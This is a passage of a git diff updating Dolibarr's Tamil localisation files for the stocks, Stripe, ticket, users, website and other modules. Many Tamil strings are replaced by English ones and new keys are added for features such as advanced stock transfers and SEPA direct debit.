RecruitmentCandidatures=விண்ணப்பங்கள் -InterviewToDo=நேர்காணல் செய்ய வேண்டும் +InterviewToDo=Contacts to follow AnswerCandidature=விண்ணப்ப பதில் YourCandidature=உங்கள் விண்ணப்பம் YourCandidatureAnswerMessage=உங்கள் விண்ணப்பத்திற்கு நன்றி.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=வேலை நிலை மூடப்பட்டு ExtrafieldsJobPosition=நிரப்பு பண்புக்கூறுகள் (வேலை நிலைகள்) ExtrafieldsApplication=நிரப்பு பண்புக்கூறுகள் (வேலை விண்ணப்பங்கள்) MakeOffer=சலுகை கொடு +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/ta_IN/salaries.lang b/htdocs/langs/ta_IN/salaries.lang index 8613af209d9..3a1912ad03c 100644 --- a/htdocs/langs/ta_IN/salaries.lang +++ b/htdocs/langs/ta_IN/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=பயனரின் மூன்றாம் தரப்பினருக்குப் பயன்படுத்தப்படும் கணக்கியல் கணக்கு -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=பயனர் அட்டையில் வரையறுக்கப்பட்ட பிரத்யேக கணக்கியல் கணக்கு சப்லெட்ஜர் கணக்கியலுக்கு மட்டுமே பயன்படுத்தப்படும். இது ஜெனரல் லெட்ஜருக்குப் பயன்படுத்தப்படும் மற்றும் பயனரின் பிரத்யேக பயனர் கணக்கியல் கணக்கு வரையறுக்கப்படாவிட்டால், சப்லெட்ஜர் கணக்கின் இயல்புநிலை மதிப்பாகப் பயன்படுத்தப்படும். +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=ஊதியக் கொடுப்பனவுகளுக்கு முன்னிருப்பாக கணக்கியல் கணக்கு CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=இயல்பாக, சம்பளத்தை உருவாக்கும் போது "தானாக மொத்த கட்டணத்தை உருவாக்கு" என்ற விருப்பத்தை காலியாக விடவும் Salary=சம்பளம் diff --git a/htdocs/langs/ta_IN/stocks.lang b/htdocs/langs/ta_IN/stocks.lang index 3e0d8a0786a..ace390a46fa 100644 --- a/htdocs/langs/ta_IN/stocks.lang +++ b/htdocs/langs/ta_IN/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=எதிர்காலத்தில் தேதி StocksByLotSerial=லாட்/சீரியல் மூலம் பங்குகள் LotSerial=நிறைய/தொடர்கள் LotSerialList=நிறைய/தொடர்களின் பட்டியல் +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=இயக்கங்கள் ErrorWarehouseRefRequired=கிடங்கு குறிப்பு பெயர் தேவை ListOfWarehouses=கிடங்குகளின் பட்டியல் @@ -48,7 +49,7 @@ StockCorrection=பங்கு திருத்தம் CorrectStock=சரியான இருப்பு StockTransfer=பங்கு பரிமாற்றம் TransferStock=பங்குகளை மாற்றவும் -MassStockTransferShort=வெகுஜன பங்கு பரிமாற்றம் +MassStockTransferShort=Bulk stock change StockMovement=பங்கு இயக்கம் StockMovements=பங்கு இயக்கங்கள் NumberOfUnit=அலகுகளின் எண்ணிக்கை @@ -146,8 +147,9 @@ Replenishments=நிரப்புதல்கள் NbOfProductBeforePeriod=தேர்ந்தெடுக்கப்பட்ட காலத்திற்கு முன் கையிருப்பில் உள்ள தயாரிப்பின் அளவு %s (<%s) NbOfProductAfterPeriod=தேர்ந்தெடுக்கப்பட்ட காலத்திற்குப் பிறகு கையிருப்பில் உள்ள தயாரிப்பின் அளவு %s (> %s) MassMovement=வெகுஜன இயக்கம் -SelectProductInAndOutWareHouse=ஒரு மூலக் கிடங்கு மற்றும் இலக்குக் கிடங்கு, ஒரு தயாரிப்பு மற்றும் அளவு ஆகியவற்றைத் தேர்ந்தெடுத்து "%s" என்பதைக் கிளிக் செய்யவும். தேவையான அனைத்து இயக்கங்களுக்கும் இது முடிந்ததும், "%s" என்பதைக் கிளிக் செய்யவும். +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=பதிவு பரிமாற்றம் +RecordMovements=Record stock movements ReceivingForSameOrder=இந்த ஆர்டருக்கான ரசீதுகள் StockMovementRecorded=பங்குகளின் இயக்கங்கள் பதிவு செய்யப்பட்டன RuleForStockAvailability=பங்கு தேவைகளுக்கான விதிகள் @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=எச்சரிக்கை மற்றும ProductStockWarehouseUpdated=எச்சரிக்கை மற்றும் விரும்பிய உகந்த பங்குக்கான பங்கு வரம்பு சரியாக புதுப்பிக்கப்பட்டது ProductStockWarehouseDeleted=எச்சரிக்கை மற்றும் விரும்பிய உகந்த பங்குக்கான பங்கு வரம்பு சரியாக நீக்கப்பட்டது AddNewProductStockWarehouse=எச்சரிக்கை மற்றும் விரும்பிய உகந்த பங்குக்கான புதிய வரம்பை அமைக்கவும் -AddStockLocationLine=இந்த தயாரிப்புக்கான மற்றொரு கிடங்கைச் சேர்க்க, அளவைக் குறைத்து, கிளிக் செய்யவும் +AddStockLocationLine=Decrease quantity then click to split the line InventoryDate=சரக்கு தேதி Inventories=சரக்குகள் NewInventory=புதிய சரக்கு @@ -234,7 +236,7 @@ StockIncrease=பங்கு அதிகரிப்பு StockDecrease=பங்கு குறைவு InventoryForASpecificWarehouse=ஒரு குறிப்பிட்ட கிடங்கிற்கான சரக்கு InventoryForASpecificProduct=ஒரு குறிப்பிட்ட தயாரிப்புக்கான சரக்கு -StockIsRequiredToChooseWhichLotToUse=எந்த லாட்டைப் பயன்படுத்த வேண்டும் என்பதைத் தேர்வுசெய்ய ஸ்டாக் தேவை +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=கட்டாயப்படுத்துங்கள் AlwaysShowFullArbo=கிடங்கு இணைப்புகளின் பாப்அப்பில் கிடங்கின் முழு மரத்தையும் காட்சிப்படுத்தவும் (எச்சரிக்கை: இது வியத்தகு செயல்திறனைக் குறைக்கலாம்) StockAtDatePastDesc=கடந்த காலத்தில் கொடுக்கப்பட்ட தேதியில் பங்குகளை (உண்மையான பங்கு) இங்கே பார்க்கலாம் @@ -254,7 +256,7 @@ ReOpen=மீண்டும் திறக்கவும் ConfirmFinish=சரக்கு மூடப்படுவதை உறுதிப்படுத்துகிறீர்களா? இது உங்கள் பங்குகளை நீங்கள் சரக்குக்குள் உள்ளிட்ட உண்மையான qtyக்கு புதுப்பிக்க அனைத்து பங்கு இயக்கங்களையும் உருவாக்கும். ObjectNotFound=%s கிடைக்கவில்லை MakeMovementsAndClose=இயக்கங்களை உருவாக்கி மூடவும் -AutofillWithExpected=உண்மையான அளவை எதிர்பார்த்த அளவோடு மாற்றவும் +AutofillWithExpected=Fill real quantity with expected quantity ShowAllBatchByDefault=இயல்பாக, தயாரிப்பு "பங்கு" தாவலில் தொகுதி விவரங்களைக் காட்டு CollapseBatchDetailHelp=பங்குகள் தொகுதி உள்ளமைவில் தொகுதி விவரம் இயல்புநிலை காட்சியை நீங்கள் அமைக்கலாம் ErrorWrongBarcodemode=அறியப்படாத பார்கோடு பயன்முறை @@ -265,9 +267,53 @@ ProductBarcodeDoesNotExist=பார்கோடு கொண்ட தயார WarehouseId=கிடங்கு ஐடி WarehouseRef=கிடங்கு Ref SaveQtyFirst=பங்கு இயக்கத்தை உருவாக்கக் கேட்பதற்கு முன், உண்மையான கையிருப்பு அளவுகளை முதலில் சேமிக்கவும். +ToStart=Start InventoryStartedShort=தொடங்கப்பட்டது ErrorOnElementsInventory=பின்வரும் காரணங்களுக்காக செயல்பாடு ரத்து செய்யப்பட்டது: ErrorCantFindCodeInInventory=சரக்குகளில் பின்வரும் குறியீட்டைக் கண்டறிய முடியவில்லை QtyWasAddedToTheScannedBarcode=வெற்றி!! கோரப்பட்ட அனைத்து பார்கோடுகளிலும் அளவு சேர்க்கப்பட்டது. நீங்கள் ஸ்கேனர் கருவியை மூடலாம். -StockChangeDisabled=பங்கு மாற்றம் முடக்கப்பட்டுள்ளது +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=டெர்மினலுக்கான கிடங்கு எதுவும் வரையறுக்கப்படவில்லை +ClearQtys=Clear all quantities +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/ta_IN/stripe.lang b/htdocs/langs/ta_IN/stripe.lang index ad4e0943249..4b61ec6f46c 100644 --- a/htdocs/langs/ta_IN/stripe.lang +++ b/htdocs/langs/ta_IN/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook நேரலை விசை ONLINE_PAYMENT_WAREHOUSE=ஆன்லைனில் பணம் செலுத்தும் போது பங்கு குறைவதற்குப் பயன்படுத்த வேண்டிய பங்கு
      (TODO பங்குகளைக் குறைப்பதற்கான விருப்பம் விலைப்பட்டியல் மீது செய்யப்படும் மற்றும் ஆன்லைன் கட்டணம் தானே விலைப்பட்டியல் உருவாக்கப்படும்?) StripeLiveEnabled=ஸ்ட்ரைப் லைவ் இயக்கப்பட்டது (இல்லையெனில் சோதனை/சாண்ட்பாக்ஸ் பயன்முறை) StripeImportPayment=வரி செலுத்துதல்களை இறக்குமதி செய்யவும் -ExampleOfTestCreditCard=சோதனைக்கான கிரெடிட் கார்டின் எடுத்துக்காட்டு: %s => செல்லுபடியாகும், %s => பிழை CVC, %s => காலாவதியானது, %s => கட்டணம் தோல்வி +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=கோடு நுழைவாயில்கள் OAUTH_STRIPE_TEST_ID=ஸ்ட்ரைப் கனெக்ட் கிளையண்ட் ஐடி (ca_...) OAUTH_STRIPE_LIVE_ID=ஸ்ட்ரைப் கனெக்ட் கிளையண்ட் ஐடி (ca_...) @@ -61,6 +62,7 @@ DeleteACard=அட்டையை நீக்கு ConfirmDeleteCard=இந்த கிரெடிட் அல்லது டெபிட் கார்டை நிச்சயமாக நீக்க விரும்புகிறீர்களா? CreateCustomerOnStripe=ஸ்ட்ரைப்பில் வாடிக்கையாளரை உருவாக்கவும் CreateCardOnStripe=ஸ்ட்ரைப்பில் அட்டையை உருவாக்கவும் +CreateBANOnStripe=Create bank on Stripe ShowInStripe=கோட்டில் காட்டு StripeUserAccountForActions=சில ஸ்ட்ரைப் நிகழ்வுகளின் மின்னஞ்சல் அறிவிப்புக்காகப் பயன்படுத்த வேண்டிய பயனர் கணக்கு (ஸ்ட்ரைப் பேஅவுட்கள்) StripePayoutList=ஸ்ட்ரைப் பேஅவுட்களின் பட்டியல் @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=IPN (நேரடி பயன்முறை) ஐ PaymentWillBeRecordedForNextPeriod=கட்டணம் அடுத்த காலத்திற்கு பதிவு செய்யப்படும். ClickHereToTryAgain= மீண்டும் முயற்சிக்க இங்கே கிளிக் செய்யவும்... CreationOfPaymentModeMustBeDoneFromStripeInterface=வலுவான வாடிக்கையாளர் அங்கீகார விதிகளின் காரணமாக, ஸ்ட்ரைப் பேக் ஆபீஸில் இருந்து கார்டை உருவாக்க வேண்டும். ஸ்ட்ரைப் வாடிக்கையாளர் பதிவை இயக்க நீங்கள் இங்கே கிளிக் செய்யலாம்: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/ta_IN/ticket.lang b/htdocs/langs/ta_IN/ticket.lang index d4b70db3ad3..6afdbb0f2f4 100644 --- a/htdocs/langs/ta_IN/ticket.lang +++ b/htdocs/langs/ta_IN/ticket.lang @@ -26,7 +26,9 @@ Permission56002=டிக்கெட்டுகளை மாற்றவும Permission56003=டிக்கெட்டுகளை நீக்கு Permission56004=டிக்கெட்டுகளை நிர்வகிக்கவும் Permission56005=அனைத்து மூன்றாம் தரப்பினரின் டிக்கெட்டுகளையும் பார்க்கவும் (வெளிப்புற பயனர்களுக்கு பயனுள்ளதாக இல்லை, எப்போதும் அவர்கள் சார்ந்திருக்கும் மூன்றாம் தரப்பினருக்கு மட்டுமே) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=டிக்கெட் - வகைகள் TicketDictCategory=டிக்கெட் - குழுக்கள் TicketDictSeverity=டிக்கெட் - தீவிரங்கள் @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=வெளி பங்களிப்ப OriginEmail=நிருபர் மின்னஞ்சல் Notify_TICKET_SENTBYMAIL=மின்னஞ்சல் மூலம் டிக்கெட் செய்தியை அனுப்பவும் +ExportDataset_ticket_1=Tickets + # Status Read=படி Assigned=ஒதுக்கப்படும் @@ -90,8 +94,8 @@ TicketPublicAccess=அடையாளம் தேவைப்படாத ப TicketSetupDictionaries=டிக்கெட்டின் வகை, தீவிரம் மற்றும் பகுப்பாய்வு குறியீடுகள் அகராதிகளிலிருந்து கட்டமைக்கப்படுகின்றன TicketParamModule=தொகுதி மாறி அமைவு TicketParamMail=மின்னஞ்சல் அமைப்பு -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=டிக்கெட்டை உருவாக்கிய பிறகு அனுப்பப்பட்ட குறுஞ்செய்தி @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=பொது இடைமுகத்திலிரு TicketParamPublicInterface=பொது இடைமுக அமைப்பு TicketsEmailMustExist=டிக்கெட்டை உருவாக்க, ஏற்கனவே உள்ள மின்னஞ்சல் முகவரி தேவை TicketsEmailMustExistHelp=பொது இடைமுகத்தில், புதிய டிக்கெட்டை உருவாக்க தரவுத்தளத்தில் மின்னஞ்சல் முகவரி ஏற்கனவே நிரப்பப்பட்டிருக்க வேண்டும். +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=பொது இடைமுகம் TicketUrlPublicInterfaceLabelAdmin=பொது இடைமுகத்திற்கான மாற்று URL TicketUrlPublicInterfaceHelpAdmin=இணைய சேவையகத்திற்கு மாற்றுப்பெயரை வரையறுத்து, மற்றொரு URL உடன் பொது இடைமுகத்தை கிடைக்கச் செய்யலாம் (இந்த புதிய URL இல் சேவையகம் ஒரு ப்ராக்ஸியாக செயல்பட வேண்டும்) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=உருவாக்கியது NewTicket=புதிய டிக்கெட் SubjectAnswerToTicket=டிக்கெட் பதில் TicketTypeRequest=கோரிக்கை வகை -TicketCategory=டிக்கெட் வகைப்பாடு +TicketCategory=Ticket group SeeTicket=சீட்டைப் பார்க்கவும் TicketMarkedAsRead=டிக்கெட் படித்ததாகக் குறிக்கப்பட்டுள்ளது TicketReadOn=படிக்கவும் @@ -190,8 +198,7 @@ TicketAssigned=டிக்கெட் இப்போது ஒதுக்க TicketChangeType=வகையை மாற்றவும் TicketChangeCategory=பகுப்பாய்வு குறியீட்டை மாற்றவும் TicketChangeSeverity=தீவிரத்தை மாற்றவும் -TicketAddMessage=ஒரு செய்தியைச் சேர்க்கவும் -AddMessage=ஒரு செய்தியைச் சேர்க்கவும் +TicketAddMessage=Add private message MessageSuccessfullyAdded=டிக்கெட் சேர்க்கப்பட்டது TicketMessageSuccessfullyAdded=செய்தி வெற்றிகரமாக சேர்க்கப்பட்டது TicketMessagesList=செய்தி பட்டியல் @@ -202,8 +209,8 @@ TicketSeverity=தீவிரம் ShowTicket=சீட்டைப் பார்க்கவும் RelatedTickets=தொடர்புடைய டிக்கெட்டுகள் TicketAddIntervention=தலையீட்டை உருவாக்குங்கள் -CloseTicket=மூடு|டிக்கெட்டை தீர்க்கவும் -AbandonTicket=டிக்கெட்டை கைவிடு +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=மூடு|ஒரு டிக்கெட்டை தீர்க்கவும் ConfirmCloseAticket=டிக்கெட் மூடுவதை உறுதிப்படுத்தவும் ConfirmAbandonTicket='கைவிடப்பட்டது' என்ற நிலைக்கு டிக்கெட் மூடப்படுவதை உறுதிப்படுத்துகிறீர்களா? @@ -217,18 +224,17 @@ SendMessageByEmail=மின்னஞ்சல் மூலம் செய் TicketNewMessage=புதிய தகவல் ErrorMailRecipientIsEmptyForSendTicketMessage=பெறுநர் காலியாக உள்ளார். மின்னஞ்சல் அனுப்பவில்லை TicketGoIntoContactTab=அவற்றைத் தேர்ந்தெடுக்க, "தொடர்புகள்" தாவலுக்குச் செல்லவும் -TicketMessageMailIntro=அறிமுகம் +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=இந்த உரை மின்னஞ்சலின் தொடக்கத்தில் மட்டுமே சேர்க்கப்படும் மற்றும் சேமிக்கப்படாது. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=கையெழுத்து -TicketMessageMailSignatureHelp=இந்த உரை மின்னஞ்சலின் முடிவில் மட்டுமே சேர்க்கப்படும் மற்றும் சேமிக்கப்படாது. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=பதில் மின்னஞ்சலின் கையொப்பம் -TicketMessageMailSignatureHelpAdmin=பதில் செய்திக்குப் பிறகு இந்த உரை செருகப்படும். +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=டிக்கெட் கார்டில் உள்ள செய்தி பட்டியலில் இந்த உரை மட்டுமே சேமிக்கப்படும். TicketMessageSubstitutionReplacedByGenericValues=மாற்று மாறிகள் பொதுவான மதிப்புகளால் மாற்றப்படுகின்றன. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=அதிலிருந்து காலம் கழிந்தது TicketTimeToRead=படிக்கும் முன் நேரம் கடந்துவிட்டது TicketTimeElapsedBeforeSince=முன் / பின் நேரம் கழிந்தது @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=%s என்ற தலைப்பி TicketAssignedToYou=டிக்கெட் ஒதுக்கப்பட்டது TicketAssignedEmailBody=%s மூலம் #%s டிக்கெட் உங்களுக்கு ஒதுக்கப்பட்டுள்ளது MarkMessageAsPrivate=செய்தியை தனிப்பட்டதாகக் குறிக்கவும் +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=இந்த செய்தி வெளிப்புற பயனர்களுக்கு காட்டப்படாது TicketEmailOriginIssuer=டிக்கெட்டுகளின் தோற்றத்தில் வழங்குபவர் InitialMessage=ஆரம்ப செய்தி @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=பின்வரும் இணைப TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=இந்த மின்னஞ்சலுக்கு நேரடியாக பதிலளிக்க வேண்டாம்! இடைமுகத்தில் பதிலளிக்க இணைப்பைப் பயன்படுத்தவும். TicketPublicInfoCreateTicket=எங்கள் நிர்வாக அமைப்பில் ஆதரவு டிக்கெட்டை பதிவு செய்ய இந்தப் படிவம் உங்களை அனுமதிக்கிறது. -TicketPublicPleaseBeAccuratelyDescribe=சிக்கலை சரியாக விவரிக்கவும். உங்கள் கோரிக்கையைச் சரியாகக் கண்டறிய எங்களை அனுமதிக்க, முடிந்தவரை அதிகமான தகவல்களை வழங்கவும். +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=டிக்கெட் கண்காணிப்பு ஐடியை உள்ளிடவும் TicketTrackId=பொது கண்காணிப்பு ஐடி OneOfTicketTrackId=உங்கள் கண்காணிப்பு ஐடி ஒன்று diff --git a/htdocs/langs/ta_IN/users.lang b/htdocs/langs/ta_IN/users.lang index 20190b5f547..62c5a941b79 100644 --- a/htdocs/langs/ta_IN/users.lang +++ b/htdocs/langs/ta_IN/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=குழுவிலிருந்து நீக்கு PasswordChangedAndSentTo=கடவுச்சொல் மாற்றப்பட்டு %s க்கு அனுப்பப்பட்டது. PasswordChangeRequest= %s க்கான கடவுச்சொல்லை மாற்ற கோரிக்கை PasswordChangeRequestSent= %s க்கான கடவுச்சொல்லை மாற்றுவதற்கான கோரிக்கை %s a09a4b730f.17f8 -IfLoginExistPasswordRequestSent=இந்த உள்நுழைவு சரியான கணக்காக இருந்தால், கடவுச்சொல்லை மீட்டமைப்பதற்கான மின்னஞ்சல் அனுப்பப்பட்டது. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=இந்த மின்னஞ்சல் சரியான கணக்காக இருந்தால், கடவுச்சொல்லை மீட்டமைப்பதற்கான மின்னஞ்சல் அனுப்பப்பட்டது. ConfirmPasswordReset=கடவுச்சொல் மீட்டமைப்பை உறுதிப்படுத்தவும் MenuUsersAndGroups=பயனர்கள் மற்றும் குழுக்கள் @@ -66,9 +66,9 @@ LinkedToDolibarrUser=பயனருக்கான இணைப்பு LinkedToDolibarrThirdParty=மூன்றாம் தரப்பினருக்கான இணைப்பு CreateDolibarrLogin=ஒரு பயனரை உருவாக்கவும் CreateDolibarrThirdParty=மூன்றாம் தரப்பை உருவாக்கவும் -LoginAccountDisableInDolibarr=Dolibarr இல் கணக்கு முடக்கப்பட்டது. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=தனிப்பட்ட மதிப்பைப் பயன்படுத்தவும் -InternalUser=உள் பயனர் ExportDataset_user_1=பயனர்கள் மற்றும் அவர்களின் பண்புகள் DomainUser=டொமைன் பயனர் %s Reactivate=மீண்டும் இயக்கு @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ta_IN/website.lang b/htdocs/langs/ta_IN/website.lang index 15fa755fd54..2be323e011b 100644 --- a/htdocs/langs/ta_IN/website.lang +++ b/htdocs/langs/ta_IN/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=குறியீடு +WebsiteName=Name of the website WebsiteSetupDesc=நீங்கள் பயன்படுத்த விரும்பும் இணையதளங்களை இங்கே உருவாக்கவும். அவற்றைத் திருத்த, மெனு இணையதளங்களுக்குச் செல்லவும். DeleteWebsite=இணையதளத்தை நீக்கு ConfirmDeleteWebsite=இந்த இணையதளத்தை நிச்சயமாக நீக்க விரும்புகிறீர்களா? அதன் அனைத்து பக்கங்களும் உள்ளடக்கமும் அகற்றப்படும். பதிவேற்றப்பட்ட கோப்புகள் (மீடியாஸ் கோப்பகத்தில், ECM தொகுதி, ...) அப்படியே இருக்கும். @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=HTML தலைப்பின் கீழே சேர் WEBSITE_ROBOT=ரோபோ கோப்பு (robots.txt) WEBSITE_HTACCESS=வலைத்தளம் .htaccess கோப்பு WEBSITE_MANIFEST_JSON=இணையதளம் manifest.json கோப்பு -WEBSITE_README=README.md கோப்பு WEBSITE_KEYWORDSDesc=மதிப்புகளைப் பிரிக்க கமாவைப் பயன்படுத்தவும் -EnterHereLicenseInformation=README.md கோப்பை நிரப்ப இங்கே மெட்டா தரவு அல்லது உரிமத் தகவலை உள்ளிடவும். உங்கள் வலைத்தளத்தை டெம்ப்ளேட்டாக விநியோகித்தால், கோப்பு டெம்டேட் தொகுப்பில் சேர்க்கப்படும். +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML தலைப்பு (இந்தப் பக்கத்திற்கு மட்டும்) PageNameAliasHelp=பக்கத்தின் பெயர் அல்லது மாற்றுப்பெயர்.
      இணைய சேவையகத்தின் மெய்நிகர் ஹோஸ்டிலிருந்து (Apacke, Nginx, ... போன்றவை) இணையதளம் இயங்கும் போது SEO URL ஐ உருவாக்கவும் இந்த மாற்றுப்பெயர் பயன்படுத்தப்படுகிறது. இந்த மாற்றுப் பெயரைத் திருத்த, " %s " என்ற பொத்தானைப் பயன்படுத்தவும். EditTheWebSiteForACommonHeader=குறிப்பு: எல்லாப் பக்கங்களுக்கும் தனிப்பயனாக்கப்பட்ட தலைப்பை நீங்கள் வரையறுக்க விரும்பினால், பக்கம்/கன்டெய்னருக்குப் பதிலாக தள அளவில் தலைப்பைத் திருத்தவும். @@ -42,6 +43,8 @@ ViewPageInNewTab=புதிய தாவலில் பக்கத்தை SetAsHomePage=முகப்பு பக்கமாக ஆக்கவும் RealURL=உண்மையான URL ViewWebsiteInProduction=வீட்டு URLகளைப் பயன்படுத்தி இணையதளத்தைப் பார்க்கவும் +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= அப்பாச்சி கொண்ட பயன்பாட்டு / Nginx / ...
      உங்கள் வலை சர்வரில் உருவாக்கவும் (அப்பாச்சி, nginx, ...) PHP ஒரு அர்ப்பணிப்பு மெய்நிகர் ஹோஸ்ட் செயல்படுத்தப்படும் மற்றும் ஒரு ரூட் டைரக்டரி
      %s ExampleToUseInApacheVirtualHostConfig=Apache மெய்நிகர் ஹோஸ்ட் அமைப்பில் பயன்படுத்துவதற்கான எடுத்துக்காட்டு: YouCanAlsoTestWithPHPS= அன்று
